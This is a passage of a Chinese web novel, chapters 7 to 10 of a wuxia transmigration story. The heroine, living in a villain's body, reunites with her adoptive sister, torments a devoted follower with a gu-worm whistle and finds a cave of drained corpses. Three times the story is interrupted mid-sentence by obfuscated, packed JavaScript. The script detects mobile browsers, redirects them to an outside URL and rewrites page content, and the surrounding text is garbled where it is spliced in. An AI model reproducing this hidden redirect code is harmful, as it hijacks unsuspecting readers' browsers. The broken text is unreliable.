“我以为只要我的伤一直不好,一直养在这清月山上,说不定哪天就有奇迹发生了。我回到庄内仍能吃到娘做的凉糕,还像往日一样向爹爹要些银两去城内买些无用的稀罕玩意。” “可我也知道这一切不过是我黄粱一梦。” “我等了好久,阿岁,我终于等来了奇迹。” “你还活着。” 7. 都是演技派 傅莺莺的身体尚未恢复,仍旧虚弱,不多时便又眼角带泪睡去了。 她脸生得极好看,睫毛纤长,一双杏眼如小鹿般,笑时眉眼弯弯,很是喜庆,哭时楚楚可怜,惹人怜惜。 这样一个在爱中长大的人,才二十出头额角便已生出几缕白发,哪怕在睡梦中也是眉头紧锁。 在见到她之前,池岁寒从未动过恻隐之心。好友背叛也好,血海深仇也罢,就是前人因果,与她本无干系。 可她还是被打动了,不知是受了这具身体的影响,还是傅莺莺的一片赤诚唤起了她在自小便教育出的一颗良善之心。 她已没法只将傅莺莺当作一枚棋子。 如今她心中又被另一个疑问填满。 若此二人情谊如此深重,原主为何要屠尽天狼山庄,又为何也对傅莺莺痛下杀手? 究竟发生了什么让原主性情大变,甚至不惜残害手足亲眷。 这世上当真有如此天生的恶人吗? 池岁寒起身想走,傅莺莺的手却紧紧地抓住她的手腕不放。 实在没有办法,她只得小心翼翼地躺在傅莺莺身边,动都不敢动一下。 一夜无眠,等到第二日傅莺莺醒来时,就见一袭黑衣的池岁寒正背对着自己躺在床上,她一时之间也愣住了,记忆中她们二人上次这样躺在一张床上已是五六岁时的事了。 傅莺莺虽然年长池岁寒一岁,但毕竟是庄主唯一的女儿,在山庄内受尽宠爱,反而不如池岁寒成熟。她不记得从什么时候开始,池岁寒突然便能够静下心来读书,日日于后院练武,不过三月便已甩开了自己一截。 彼时她们二人有十岁吗? 她悄悄挪到池岁寒身边,试探着将胳膊搭在了她身上,轻轻环住了眼前许久未见的妹妹。 池岁寒几乎是立刻清醒了过来,强压下身体想要将这只胳膊拧断的本能。她不敢动,只好像块石头一样继续装睡。 身后却传来了傅莺莺的笑声:“你小时候装睡也是这样,动都不动,连气都不敢喘。” 池岁寒自知已经被发现,索性直接坐了起来:“要不是你昨天非拽着我的手不让我走,我何必在你这里借宿。” 傅莺莺此刻看起来开朗了许多,脸上终于有了些活人的朝气:“阿岁,你害羞了是不是?我们小时候不是一直在一张床上睡吗,你那时候可黏我了,说什么都不肯回自己房间。” 她边说边露出了幸福的笑容,嘴角满是回忆起年少无忧无虑美好时光的甜蜜。 池岁寒不知如何作答,她根本不知这二人少年时如何相处,害怕多说一句就会被傅莺莺察觉异样。 傅莺莺倒是不在乎池岁寒有没有回话,只是自顾自地说着:“那时我们两个总是一起趁北极先生不注意逃出去买烧饼,每次被捉回去我都说是你拽我出去的。阿爹阿娘也知道我爱说谎,总是让你先回屋,让我在祠堂罚跪。” 她伸手捏了捏池岁寒的脸:“可明明就是你叫的,你知道自己不会被罚就变本加厉,而我又实在是爱吃烧饼,仗着阿爹阿娘不会真的和我生气越来越胆大妄为。” “哎,不过这种日子自从你突然开始刻苦读书之后就再没有了。” 她轻声细语地回忆着孩童旧事,虽都是些不大起眼的琐事,却能从中听出无限的温柔怀念。 池岁寒任由她在自己的脸上揉来揉去,想到这具身体也曾有过如此温馨的少年时光,心中不免一阵酸涩。 她越是知道傅莺莺此刻的庆幸欣喜,便越害怕某一天这般清澈的眼睛会消失不见,只如梦中一般狠戾地望着她。 倘若未来傅莺莺知晓一切,发现灭门惨案的真凶竟是他们一家一手抚养长大的养女,那时她会如何?会因为今日的几句话动摇吗? 那不死不休的结局,当真能够避开吗? 池岁寒不知答案,只能压下心中惶恐,继续扮演乖巧懂事的妹妹,轻笑着哄她:“等你身体好些,我们下山去买烧饼来吃吧。” 傅莺莺闻言双眼一亮,笑着答应了。 “我其实已无大碍,只是伤心过度才一直未好。”她的手覆上来,指腹从池岁寒掌心缓缓抚过,而后屈指穿过池岁寒的指尖,十指相扣。 “阿娘说过,身为姐姐自然是要保护妹妹的,若我一直在这床榻上躺下去,阿娘想必又要教训我了。” 池岁寒听出她话尾的一丝颤抖。 门外适时响起了敲门声,是红绢:“小姐,陈公子送来了早饭。” 清月剑派的早饭比起善恶岛丰盛了许多,吃完早饭陈豫和池戟便一同过来了。 陈豫刚一走进屋子,便对着池岁寒和傅莺莺的方向双手抱拳行了道歉之礼:“抱歉,山庄出了如此大事,我却没能帮上忙。门中杂事众多,一直没能找出凶手,还天狼山庄一个真相。” 池戟背靠在门框上,侧过头将大半张脸都融进了阴影里,嘴角却毫不掩饰露出嘲讽的笑。 只是陈豫背对着他,傅莺莺则伸手去扶陈豫,只有池岁寒看在眼里。 傅莺莺:“陈豫哥哥,你与清月剑派本就是好心帮忙,是我一直不愿接受现实,闭门不出,耽误了进展。连我这个少庄主都不想查,又怎么怪得了别人呢。” 池岁寒刚想出声安慰,就被池戟抢了先:“傅姑娘,你身上伤还未愈,不必太怪罪自己。久闻天狼山庄庄主与夫人是正义之士,在江湖之上素来没什么仇家,就算挨个查一遍,假以时日也一定能找出凶手。你们照顾了我阿姐这么多年,池戟无以为报,只希望能够帮到傅姑娘。” 他满脸皆是担忧与悲痛,细看还能看到眼角似乎挤出来了两滴眼泪。 池岁寒震惊得说不出话来,她第一次听他一次说了如此多的话,竟无半分破绽。 此刻沐浴在阳光中的池戟,身形气质都莫名像极了昨日山门前的陈豫,身上戾气全无,活脱脱一个游历江湖心系天下的少侠。 一时间屋内氛围竟好得像是家人团聚般,只剩她这个知情人独自不安。 “池公子有心了。我先替莺莺谢过你,只是她身体尚需恢复,恐怕此行还要拖慢些。”陈豫犹豫一下,似乎还未太想好要如何称呼池戟。 “既然岁寒也回来了,莺莺身体也尚需恢复,陈某想劳烦大家一同下山为师父寿宴购置食材,待到寿宴结束,莺莺的身体应当也足够远行,我便向师父请辞,一同去查出凶手,给庄内四十七口人一个答案。” 池岁寒正巧也不想这么着急就回天狼山庄,她既已见到傅莺莺,便无需再赶时间。 如今她连身边一个池戟都尚未看透,断不能冒险出门,若是被人看出什么端倪,只是凭添麻烦。 “师兄说的是,刚好山下就有小镇,就当带着姐姐散心了。况且大家都是习武之人,多活动一下也方便身体恢复。”她双唇微启,眉间含笑,十分乖巧。 夜里池岁寒便让红绢飞鸽传书给元向安,叫他找个机会在镇上会面,最好能顺理成章地一起行动。 信里还额外写了让他换一张好看些的人皮面具。 此刻非年非节,但清月镇却十分热闹。小镇本就靠清月山维持生计,近日赶上长老大寿,前来贺喜参加寿宴的许多宾客都会在镇上歇脚。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371390|199922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寿宴要准备的东西很多,又需挨家挨户联系,其中一些可能还需等待几日方能拿到。陈豫便没急着去联系,先将众人领到了清月剑派自己的客栈中稍作歇息。 他前脚踏进客栈,老板便十分刻板地表演了惊喜、兴奋、谄媚,弓着腰走上前来:“没想到陈道长大驾光临,快请坐下。” 老板冲小二点点头,小二便心领神会地从后厨拿了好酒好肉摆上桌子。 陈豫本还想推脱一二,池戟就已经抓起一块鸡腿啃了起来,面露幸福地发出一声感叹:“真香!” 活脱脱一个初出茅庐的年轻人,纵情声色,只求快活。 池岁寒配合地笑出了声,像是看见顽皮的弟弟在逗趣,眉眼间尽是宠溺。手却不自觉地攥紧了衣摆,若不是她知道池戟原本的样子,此刻想必也会被骗过去,此人在善恶岛被关了十几年,理应与世隔绝,为何能如此轻松自在地扮演尘世中人? 不对——池岁寒想到了更可怕的事——在善恶岛上,羌阳城外,他的一举一动又有几分是真,几分是假? 池戟余光瞥了过来,好似被这一声笑鼓舞到了,更加卖力地表演了一出江湖侠士之中最常见的豪饮美酒的戏码。还不忘搂住陈豫,拿起酒杯也往他的嘴里灌。 傅莺莺也被眼前一幕逗乐了,招呼小二过来要了壶茶水,给那已经三杯酒入肚的二人各自倒了杯茶:“别喝太急了,喝点茶缓缓。” 池戟像是喝醉了般对此充耳不闻,只一味地又喝了一杯酒。 借着仰头饮酒的动作,他偷偷瞥向池岁寒,见她正掩面轻笑,就如世间无数平凡却幸福的女子一般。 可惜他们二人相互知道,不过是在做戏罢了。 池戟也曾偷偷想过,若他二人无需经历善恶岛的暗无天日,只是寻常地在街边相识。他只不过是个普通少年,在阳光下用尽浑身解数搏她一笑,是否能有一个圆满的结局。 可若真是那样,他便失了用处,怕是连与她说句话都做不到。 他心里清楚,亦不敢贪心。 陈豫还有事要做,不敢再喝,看了一圈只好将池戟推给池岁寒:“你们先吃,我昨日已经预定了两头牛羊,还需先去看一眼。” 陈豫屁股才离开椅子,池戟知道他要离开,转头又盯上了坐在对面的傅莺莺,转身就要去拿桌上的酒杯给她斟满。 陈豫失笑,又将傅莺莺拉起:“莺莺身体还没好,不宜饮酒,刚好外面阳光正好,叫她跟我一起出去走走。” 眼看那二人已经起身,不等池岁寒反应,池戟立刻身子一软,倒在桌上,喉咙中发出含糊的呼噜声。 人若有心,一杯便醉。 他懒得在人面前继续演下去,只想借此醉意,偷来片刻与池岁寒的相处时光。 池岁寒唤来小二在前面引路,一手将烂醉如泥的池戟扛上肩头。饶是小二在此处多年,也从未见过此般情景,不由得瞪大了双眼。 眼下正值晌午,一楼人声鼎沸,二楼厢房倒是十分安静。 池岁寒将池戟一下扔在床上,没找好角度,就听见头和床板相撞发出一声巨响。 ……当真不是故意的。 池戟似乎还没反应过来,只是在床上含糊地嘟囔了几声。 小二很有眼力见地退下了,还不忘带好房门在门口挂了请勿打扰的牌子。 池岁寒见他面色如常,呼吸平稳。 小二才将门关上,她脸上的温婉笑意便荡然无存,坐在床边居高临下冷冷地看着他:“这二楼只有我们两个人,不必演了。” 躺在床上的池戟呼吸一滞。 8. 我竟偏偏选择了折磨他 方才种种温情幻想破灭,池戟的心一瞬间如坠冰窟,是啊,他只不过是扮演开朗弟弟的那个人罢了。 池岁寒盯着他,眼神中没有任何波动:“你把他们二人支走是为什么?” 池戟一抬眼便与池岁寒对视上了,但这次他却没舍得移开眼神,而是试图在这双眼睛里寻找自己的倒影,然后如梦呓般开口:“我想和你单独在一起。” 池岁寒无言以对,亦不知该作何反应,只能继续盯着他——此刻移开视线,便是输了气势。 周遭的空气似乎都慢了下来,初时还能听见窗外小贩吆喝、孩童嬉闹,慢慢的,那些声响都不见了。就只剩屋内两人的呼吸声,他几乎能想象到池岁寒的呼吸打在他的身上是怎样的温热舒缓。 人心中一旦起了贪念便再难自持,他小心翼翼地朝着池岁寒的方向挪了挪,指尖轻拽住她的衣襟。目光仍不舍得离开,又一字一顿重复道:“我想和你单独在一起。” 他葫芦里到底卖的什么药?! 纵使原主确实救过他一命,但何至于此?这世上当真有这样的人,只因一点恩情便情根深种,连命都可以不要吗? 池岁寒不敢相信,她是全书最大的反派,不是什么偶像剧女主角,不会有人这样无缘无故、不计代价地地爱上她。 哪怕爱上了,那也不是她,是那个曾存在于这副躯壳中的亡魂。 既然不是爱,那又会是什么? 池岁寒努力回忆着脑海中与池戟相关的稀疏片段,突然之间凉意席卷全身。 是了,回忆中在杀冯一天之前,原主瞥见过几眼药童,那时他的眼中是戏谑,憎恶,调侃,唯独没有畏惧。一个被囚禁在药罐中七年之人,一个死期已摆在眼前之人,如何能无半分恐惧,仿佛活着只为那日赴死一般。 又或者,他早知自己死不了? 此人只是书中的一个角色,不可能知道原主会留他一命,那便只有一个解释,就算没有原主,他也有办法逃出生天,甚至杀了冯一天取而代之。毕竟早在善恶岛时自己就已探过他的内力,远在冯一天之上。 池岁寒看向池戟的目光中渐渐带上了杀意,大脑仍在飞速运转。 他想要的究竟是什么?如果是善恶岛,大可以等自己出岛后鸠占鹊巢,何必非要同行。 由此可知,他并不在乎冯一天的位置。 池岁寒一怔:那买走了他,又囚禁了他七年的人,不正是自己这具身体的亲爹吗? 难道……他根本不是来报恩的,他这般不要尊严地蛰伏在仇人之女身边,只是为了有朝一日可以可以报仇雪恨。 如此一来,一切便都通了。池戟没有能力刺杀自己,便只能潜伏在自己身边。一人之力做不到,等到日后凭借千万人之力未尝做不到。 池岁寒失笑,险些就要被他骗了,他拿的剧本可能和元向安一模一样,一想到数月之后,自己可能要被这两个人各捅一刀,她便觉得这般挣扎求活真是可笑至极。 池戟见池岁寒没作反应,索性得寸进尺地将头贴了过去。 此刻池岁寒正双手撑在床榻上,他这位置正好额头处能感受到上方传来的呼吸。 活着的,带着温度的呼吸。 池岁寒猛然回过神,发现刚才还躺在床榻最里侧的池戟,不知何时已如鬼魅般挪到自己身边。 两人距离极近,近到她能清晰看见,对方那双直勾勾的眼睛里,映着自己微缩的瞳孔。 她顿时冷汗直流,若此人当真为了报仇而来,自己此刻与引颈就戮又有何分别? 池岁寒没有退缩,亦未移开视线,双唇微启,一声尖锐哨音骤然响起。 这是唤醒池戟体内蛊虫的哨声。 终日沉睡的蛊虫终于闻声而动,在池戟的经络间横冲直撞,每经过一处便会啃食几下。 池戟几乎是一瞬间便蜷缩成一团,他被灵药浸泡多年,虽然重塑根骨,内力达到了他本不可能企及之境,但代价是,他对于疼痛的敏锐程度远超常人。 蛊虫在体内咬下的每一口于池戟而言都是钻心般的疼痛,不消片刻他的冷汗便已浸湿床单。 蛊虫从四肢起,片刻间便已到了肺腑,又直奔丹田而去。他用力在身上抓出一道道血痕,像是要将那虫子从自己体内剜出一样。 池岁寒退到客房另一边,捂住了耳朵,在心里一边又一边地告诉自己:想要活下去就不能心软。 池戟的理智已经在崩溃边缘,他不知为何池岁寒要这般对他,爱慕一个人有错吗?将心意袒露于人前有错吗? 但他又觉得池岁寒就应该这样做,那样一个杀伐果断之人,岂会因几句示好便放下戒心,岂会容忍身边下人对自己存了这等不敬的心思。 他似乎应该恨她,恨她反复无常,屡次试探。可他无法恨她,他只想着若熬过了这些反复与试探,是否她的身边就会永远有自己一席之位? 房内又响起一声口哨。 蛊虫停了下来,在池戟体内再次陷入沉睡。 但疼痛却未立刻停止,池戟眼前忽明忽暗,双耳听不见声音,双眼也无法视物,只有体内阵痛在提醒,他还活着。 他已经无力再撞墙或是伤害自己了,汗液早将几层衣服全部打湿,歪歪扭扭地贴在他身上。 每次呼吸都好痛,因此他控制着尽量减缓呼吸的频率。 池岁寒不知自己在旁边站了多久,她哪怕捂住了耳朵,却仍能听到床上传来的痛苦呻吟声,哪怕已经站到了屋内离床榻最远处,仍能感受到池戟的身体撞击床铺产生的震动。 她仅凭自己的猜测便折磨了一个人,意识到这件事的一瞬间池岁寒浑身便止不住地发颤。 这样做真的有必要吗?若他有用,用他便罢,若他有威胁,杀了便是。可自己偏偏选择了折磨他,试图用疼痛在他身上刻下臣服的烙印。 她放下捂着耳朵的双手,惊讶地发现床上微弱的呼吸声没有了。她颤抖着快步走到床边,将手指探向池戟鼻下。 她并不想他死,如果可以,她希望自己能用最少的性命作为代价活下去。 池戟终于吐出一口气,眼前混沌渐渐散去,模糊之中他看见池岁寒俯身在床前,眉眼间竟是担忧之色。 他强撑着运气,让双眼恢复清明。 她似乎是真的怕他死了。 方才心尖上的阴霾顷刻之间便一扫而空,池戟脑海中只剩那个担忧的眼神,他第一次确定地知道,池岁寒舍不得他死。 不是当初救下他时的不屑一顾,亦不是当初让他服下毒药时的谨慎试探,而是真真切切的担忧与害怕。 那些撕心裂肺的剧痛仿佛都成了赏赐,若能换得她的一丝不舍,千刀万剐又有何妨? 那抹担忧转瞬即逝,池岁寒又变回寻常模样,波澜不惊,冷淡如雪。 池戟十分庆幸自己没有错过刚才那一刻。 “不管你是什么心思,都给我收了。”池岁寒开口。 “你要做的只有忠于我,我叫你生你便生,我叫你死你便死,没有余地,没有商量。你若做得到,待我功成身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这浑水,还是趟一趟罢。 *** 小二引着二人到了门前,池岁寒看着眼前房门,余光却不受控制地飘向西侧——那是池戟的房间。 要不要去看看他伤势如何?罢了,他内力深厚,只要能静下来调息身体,应无大碍。 可蛊虫若伤及他肺腑怎么办? 池岁寒越想越烦躁,遣走红绢和小二,独自一人在池戟门口来回踱步。 她终于下定决心敲门,手掌还未触及门框,门便从里面被打开了。 池戟已换上一身浅蓝长衫,长发随意披散在肩,看起来正准备要休息。 二人相顾无言。 池岁寒被撞个正着,只得慌忙将手收回。 池戟心中懊悔不已,早知道她已经准备敲门了,再多等一刻又如何。 “你的伤如何了。”池岁寒耐不住沉默,先开了口,毕竟这本就是她要问的。 “阿姐放心,都是皮外伤。”池戟说着便想掀开袖子给她看,自己低头一瞥,见那数道血痕仍未结痂,又讪讪将胳膊盖住了。 “那你好好休息。明日巳时随我去镇东。”池岁寒说完便头也不回地走了,三步并两步地钻进了自己房中。 池戟目送她的背影,脸上不自觉地笑开了。 阿姐来关心我的伤势。 阿姐就住在隔壁。 他赶忙关了门躺回床上,将耳朵紧贴在墙上。 另一间房内,池岁寒看着床的位置近乎崩溃。 池戟的床在屋东侧,她的床偏偏在屋西侧,竟只有一墙之隔。 池岁寒认命般钻进被子里,闭上眼强迫自己不去想隔壁那人。 隔壁的池戟听见她上床的声音,也将被子盖好,面朝着墙躺得一动不动,仿佛只凭一双眼睛便能盯穿了这堵墙一般。 9. 这分明是七旬老妪 翌日巳时。 上午的茶铺人并不多,只有一个白面小生坐在铺中,面前茶杯正散发着袅袅热气。此人一双眼睛如狐狸一般又细又长,细看还能发现那浓密的眉毛是涂了碳粉画出来的。 小生一袭白衣坐在最靠近门口的位置,免不得引得路过的人们多看两眼,他也毫不觉得拘谨,熟练地朝着每个看向他的人挤眉弄眼当作打招呼。 突然一双手从背后落在了他的肩上。 池岁寒慢悠悠地坐在他对面,池戟则顺势坐在了白面小生的旁边,手仍旧压着此人的肩膀。 池岁寒长吁一口气:“我叫你把自己打扮的好看点,但你这身不是是有些……” 白面小生元向安闻言从袖中掏出一个袖珍铜镜,照了照自己,颇为满意地回答:“不好看吗?这一身像不像京城来的小倌?” 池戟的手在他肩上用力捏了一下:“俗不可耐。” 元向安像只虾一般弓了起来,骂骂咧咧地把池戟的手打掉了:“你管得未免太宽了!” 他重新坐好,眼神瞟向茶铺对面的一户人家:“那家主人姓许,是镇上的屠户,他家女儿前天傍晚出门之后就再未归。” “而如此失踪事件,在这镇上已经持续了有四个月了,起初大家都还以为是谁家女儿离家出走或是私奔了,可上一个失踪的姑娘才十岁,平时安静可爱,绝无可能私自离家。” 元向安从袖中掏出几张画像。 “这时镇中几家父母才发觉不对,开始到处问人有没有看见过自家女儿,但时间过去这么久了,自然是难寻下落。” “我收集了这些寻人启事,然后又去挨家拜访,发现每月初三十八都有少女失踪,年龄最小者十岁,最长者十六岁,均未出嫁。我之前便已经盯准了几户人家,想着跟踪一二,但是十六那天您飞鸽来信说要下山,所以我便在每家女儿的衣袖中都藏了夜香粉,无论是谁失踪,都可用识香虫找到她。” 池岁寒盯着许屠户家的门,似是在思索什么。 “许家姑娘走失的事已经传开了?我见这门口既无宾客也无衙役,不像是人不见了的样子。” 元向安回想了片刻答道:“许家还未张扬此事,是我挨家查探时发现他家女儿不见的,想来只是一晚不见,家人不想声张,传出去恐怕会污了女儿名节。” 池岁寒冷哼一声:“又是名节,名节难道比命重要?” 元向安无奈一笑,短叹一声:“世道如此,也不能怪他们。” 池戟一直沉默地听着,此刻不解发问:“查这些作什么?这里是清月剑派的地盘,事情闹大了自然会有他们的人来管。” 元向安摇头:“常理来讲是这样的,但是此事在镇中已经发酵起来约有一个月了,清月剑派却没有丝毫动作,只怕这些案子背后便有清月剑派的人。如此自下而上地瞒下去,等到长老或是山上的弟子知道此事,恐怕镇上的女儿们都被抓干净了。” 池戟有些狐疑地上下打量了一遍元向安,眼睛一转低声说道:“烧杀掠夺,强抢民女,火烧官府,刺杀官员。” 元向安被他说的一愣,下意识“嗯?”了一声。 “这是你的通缉令上罗列的诸般罪行,你这种无恶不作之人,竟还有善心。” 元向安愣了一下,似是被戳到了痛处,指尖抖了抖,但又很快冷静了下来,自嘲般回答道:“说出来不怕你们笑话,我最近时常做些下地狱的噩梦,因此决定要改过自新,积点阴德。” 池戟嗤笑一声,转头又直直看向池岁寒,似是在等一个答案。 只一眼,昨日发生之事就不受控地在池岁寒脑子里不断重现。愧疚也好,尴尬也罢,她都想下意识地避开池戟那直勾勾的目光。 更不必说在元向安面前,她不能露出半分破绽。 她别开视线,端起茶杯掩盖表情:“如果是山贼土匪那便罢了,但清月剑派如今有可能牵涉其中,江湖第一大名门的龌龊事若是被我们查了出来,今后必有大用。” 池戟闻言眼睛一亮,似乎是想到了什么好事,笑了出来:“我们只需推波助澜,就可以送这帮伪君子同下地狱了。” 池岁寒不知他因何对清月剑派如此敌视,若说有任天生性恶至此,她是不信的。 但眼下并不是弄清此中缘由的好时机,她没理会池戟,自顾自说道:“既然如此,我们便循着你的香粉去看看这失踪的少女们究竟在何处。” 几人起身付过茶钱,池岁寒便让红绢先回客栈等着了,她毕竟只是普通女子,没必要一起冒险,而且她也需要一个人盯住傅莺莺和陈豫。 不过很快红绢就不需要执行这盯梢的任务了。 三人行至清月镇出口时,远远就听到了傅莺莺的声音。 傅莺莺与陈豫刚从农地买完蔬菜,此时已是下午,大多人都是从城外回城,鲜少有人往外走,因此池岁寒一行人格外显眼。 池岁寒无奈,越是避之不及,越是狭路相逢。 傅莺莺小跑着过来,有些疑惑地看着几人:“这个时间,你们怎么要出城去?”她看向一旁的元向安,又有些好奇地问:“这位公子是?” 既然碰上,池岁寒也没必要瞒着,便解释元向安是逛街时遇到的好心江湖侠士,并将元向安收集到的情报也都给傅莺莺和陈豫讲了一遍。 陈豫的脸色几乎是立刻严肃起来,眉头紧皱又确认了一遍:“确有此事?” 池戟侧过脸去,嘴角微微下撇,眉眼间尽是不耐烦。 好在陈豫此刻的注意力都在元向安身上,只见元向安面朝陈豫行君子之礼,坚定道:“少女失踪绝对属实,但背后缘由还需查探,在下绝非心口编排清月剑派,但此时确有诸多疑点,保持怀疑之心总是好的。” 陈豫没有花费过多的时间在怀疑上,当下便表示想要同行。 池岁寒并不介意,陈豫的死活与她干系不大,她只想着将傅莺莺劝回客栈,免得出了什么意外。 可惜傅莺莺已经完全听不进去任何劝说之言,她才一听到镇中失踪的都是花季少女,愤恨之情便已完全掩盖不住,眼中怒火像是现在就要将犯人捉住烧死一般。 罢了。 池岁寒心想,只要自己一直待在傅莺莺身边,保她周全并不困难。 元向安的识香虫很快就指明了方向,一路朝着城外的树林深处走去。一开始还勉强算是林间小路,最后已经完全是在密林中穿行了。 直到天黑,识香虫才终于将众人引到了一处隐蔽的山洞前。此洞入口极其狭窄,只能容一人侧身通过。 陈豫一马当先走了进去,元向安紧随其后。 傅莺莺也想上前,被池岁寒一把扯回,让她走在自己身前。 池戟没动,本想殿后,被池岁寒瞪了一眼,只得乖乖先进了洞。 池岁寒自然是要自己殿后的。 在这漆黑的甬道之中,将后背交给他们中的任何一个都不安全。只有走在最后,她才能掌握其余诸人的行动,哪怕前面突生变故,以她这天下第一的武功,带着傅莺莺全身而退还是绰绰有余的。 这世上能护她周全的,从来只有她自己。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371392|199922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 沿着狭小的通道走了约有二十丈,眼前的空间才渐渐开阔起来。 池岁寒嗅闻着山洞内的味道,虽然潮湿但并没有腐臭气味,甚至伴有一些草木花香,相比是与外界有许多相同的口子。 如果说前半段窄路是天然的鬼斧神工,那进来之后便一眼看过去就知道是人为打造的,空间方正,墙面也经过打磨,十分平整。墙边还有两块表面平滑的巨石,想来是担任过椅子的功效。 但此处看起来已许久没人来过,角落中蛛网遍布,也没有任何生过火的痕迹。 元向安又拿出小虫,小虫指向了石室另一侧的黑暗走廊。 池戟检查了一遍石室,又将地上的尘土细细观察了一遍:“她看起来像是自愿的。” “入口极窄,无法挟持或绑着一人入内,此地的灰尘除去一些鞋印外没有任何其他痕迹,证明此处并未有过挣扎。人是自己走进去的。” 池戟说完便退到一边偷瞄池岁寒,却连一个眼神都没得到。 池岁寒只是在他说完之后点了点头,便又招呼大家以方才的顺序继续往里走。 此处通道已宽敞了许多,宽约一肩半,走起来也轻松了不少。 陈豫走在前面,身形突然一顿,随后所有人都听到了他脚下传来的机关运转的声音。 黑暗中,暗器划破空气,朝众人袭来。 池岁寒立刻将傅莺莺拉到了自己怀里护好,傅莺莺尚未反应过来,就见眼前长剑与暗器相撞,摩擦出一瞬火花。 她看不到的是,火花映出了身后池戟涌动着杀意的双眸。 那双眼睛正盯着傅莺莺的后颈,他从怀中掏出暗器,只等一个发作时机。 只需一个机会,在乱镖之下,他便可悄无声息取了傅莺莺的性命,这条命也能直接算在这些机关的头上。 池戟正欲出手,新一波暗器袭来。 池岁寒护在傅莺莺腰间的手猛地收紧,将她拉入怀中避开另一枚暗器。 池岁寒站在傅莺莺和池戟中间,抹杀了池戟所有动手的机会。 他无声地收回暗器,退回黑暗之中,仿佛刚才欲下杀手的不是他一般。 暗器被尽数击落,陈豫重新将火把点燃,自责开口:“抱歉,是我不小心。” 池岁寒并未放在心上。这等暗器,伤得了傅莺莺,却动不了她分毫。 “师兄不必道歉,这正说明我们的路是对的。” 傅莺莺抬头,正对上池岁寒波澜不惊的双眼,她眼中既有崇拜也有好奇,灵活地从池岁寒怀里钻出站到了她身侧,两只手都挽她的右手上:“阿岁,我们不过几年未见,你的功夫竟然厉害到如此地步了!” 池岁寒失笑,抬手在她额头上弹了一下:“想必是阿姐这几年都没有好好练功,光顾着游山玩水了。” 傅莺莺嘴上狡辩,手却将池岁寒挽得更紧了些。:“阿岁说的是,往后我可就指望着阿岁了。” “这是什么?!”陈豫将火把挂在通道出口旁的石墙上,哪怕压低了声音也掩盖不住他语气中的震惊。 池岁寒走出通道,看清眼前景象,胃里顿时翻江倒海,双腿一软。但她没让自己倒下去——傅莺莺倒在她怀里了,她得扶住她。 偌大的石室里,许多具尸体被绑在木架上,犹如田间的破败的稻草人。 尸体身上的服饰各不相同,但都颜色艳丽,皆为未出阁的少女最爱穿的样式。 可那暴露在外的头颅和四肢哪里是少女,个个肤如枯树,白发苍苍,分明是被吸干了生气的七旬老妪! 10. 老虎不出手,矮子当大王 摇曳火光将那些干枯尸身的影子投在石壁上,歪歪扭扭犹如鬼影。池岁寒闻到一股若有若无的焦枯气息,并非腐烂,而是血肉不见后,皮囊慢慢风化的味道。 众人皆被眼前的景象震撼,无人开口,只剩沉重的呼吸声。 陈豫走上前,轻轻将架上尸首取下放在地上。 山洞诡谲,未知是否有其他出路,这些尸体已十分脆弱,稍稍用力便会裂开,沿着进来的路是无法将这些尸体带出去安葬的。 陈豫跪坐在地,闭上双眼,口中念着咒语。 他在为这些冤魂超度。 傅莺莺亦跪在他身侧,双手合十,神情悲痛,泪水从脸颊滑落滴在石地上。 “她们还这么年轻……” 池戟看着地上尸体陷入沉思。 十三年前,他七岁,与兄长一同被冯一天买回善恶岛,初到时被当作侍卫培养。五年后冯一天不知从何处寻来了以人血肉滋补自身,换取功力大增的秘籍,从那时起,善恶岛上变时常有这般只剩干枯外壳的尸体出现。 最为滋补者,一为内力深厚的习武之人,二为根骨奇特之人,三则为未尝人事的少女。 前两者要么难以寻找,要么难以控制,故而少女成了首选。 冯一天在那一年内抓了许多流□□童,也杀了不少江湖豪杰,可到最后竟发现此功法亦有瓶颈。 他便将心思动到第二种人身上,可天资卓绝者本就稀少,即便有,也早被各大门派网罗,如何能轮得到他一个人人喊打的魔头。 但世上从不缺邪门歪道,他寻得苗疆古书,其中记载了重塑根骨之方法,于是他选了两人以作试验。 那便是池戟与其兄长。 于是七年前,冯一天炮制了药罐,将他们塞入,每日以内力催动药性,重塑二人根骨。 第三年,兄长便撑不住了。习武之时兄长天赋更高,但也说明他根骨更为稳健,强行挫骨重塑几乎要了他的命。 眼见兄长身体每况愈下,内力也再无法精进,冯一天索性直接开阵。 那一天是池戟第一次看到此阵全貌,看着自己的哥哥在阵中迅速衰老,浑身内力被强行抽干,不过一个时辰,便成了一具干尸。 冯一天自是没有替口粮收尸的闲心,那尸体本就脆弱,摔落在地便碎成几块,风雨打磨之下不过三日便已再无踪迹。 可这邪术秘籍应该还在善恶岛中,这洞中人又是从何处得知? 池戟与元向安对视一眼,两人便各自确认了心中想法。 元向安走至尸体身边,伸手抬起其中一具的小指,几乎不需用力,小指便从关节处断开。 “骨头上几乎只剩一层皮了。”元向安沉声道。“这洞中之人,怕是开了吸星阵,以少女精血滋补内力。” 陈豫眉头紧锁,面带疑惑看向元向安:“吸星阵……?这是哪门哪派的功法,竟然要以活人为祭。” 